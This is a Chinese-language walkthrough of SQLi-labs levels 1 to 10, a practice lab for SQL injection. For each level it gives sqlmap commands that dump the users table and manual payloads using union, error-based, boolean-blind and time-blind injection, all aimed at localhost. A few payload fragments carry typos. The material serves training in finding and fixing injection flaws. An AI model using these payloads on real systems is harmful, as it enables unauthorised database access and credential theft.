less-1:
sqlmap
首先爆数据库名:--dbs是爆数据库名,--batch直接默认输入,就不用我们默认输入Y了
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 --dbs --batch
其次是爆表名:
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security --tables --batch
第三步是爆列名:
sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security -T users --column --batch
第四步直接爆破数据
python sqlmap.py -u http://localhost/sqli-labs-master/Less-1/?id=1 -D security -T users -C id,username,password --dump --batch
代码审计
这里只用一个'就报错
手工注入
下面是我们手工注的过程:
oeder by 3不会报错,order by 4报错
http://localhost/sqli-labs-master/Less-1/?id=1' order by 4--+
http://localhost/sqli-labs-master/Less-1/?id=-1‘ union select 1,2,3--+
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3--+
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3--+
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(id,username,password) from security.users ),3--+
到此结束,得到所以账号密码
以后的就不会写这么细了,都是大同小异
less-2
sqlmap
sqlmap直接跑就行了,和第一关一摸一样
代码审计
这里的$id没有任何符合,直接?id=1进行注入即可
手工注入
把第一关?id=1'换成?id=1即可,其余和第一关一模一样
less-3
sqlmap
sqlmap直接跑即可,和第一关一模一样
代码审计
我们id构造成1')就闭合了
手工注入
换成id=1')--+即可,其余和第一关一摸一样
less-4
sqlmap
和之前的一摸一样,直接跑就行
代码审计
观察代码构造一个")就可以形成闭合
手工注入
id换了就行,其他和第一关一样
less-5
sqlmap
直接跑就行,和之前一摸一样
代码审计
下面的代码29行看到只用一个'就形成闭合了,但是36行不显示内容,这里可以用到报错注入
手工注入
获取database
http://localhost/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表名
http://localhost/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
爆列名
http://localhost/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
爆数据
localhost/sqli-labs-master/Less-5/?id=-1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from security.users),0x7e),1)--+
less-6
sqlmap
直接跑就行,没任何改变
代码审计
这里直接构造"就完成闭合
手工注入
只要把上一关'换成"即可,其他都一样
less-7
sqlmap
直接跑就行,没任何改变
代码审计
闭合直接构造?id=1'就闭合成功,后面看到页面只返回对和错,所以这里要用布尔盲注
手工注入
判断数据库名的长度,等于8的时候正常,等于9报错,说明长度为8
http://localhost/sqli-labs-master/Less-7/?id=1')) and length(database())>=8--+
然后爆database第一个字母
后面都一样,把database()换成select table_name frin onformation_schrma....这些就行了
less-8
sqlmap
和之前一样直接跑
代码审计
只用‘就构造成功了,成功闭合,这里也是布尔盲注
手工注入
和上一题一样,构造?id=1'即可
less-9
sqlmap
直接跑就行
代码审计
这里构造就是',不给报错信息这里用时间盲注
手工注入
http://localhost/sqli-labs-master/Less-9/?id=1' and if(length(database())>2,sleep(5),1)--+
http://localhost/sqli-labs-master/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(5),1)--+
剩下的和之前差不多,大同小异
less-10
sqlmap
价格--level=5即可
python sqlmap.py -u http://localhost/sqli-labs-master/Less-10/?id=1 --dbs --batch --level=5
后续都一样,大同小异
代码审计
和上一关一样,'换成"即可,其他都一样
手工注入
和上一关一样,换成?id=1"即可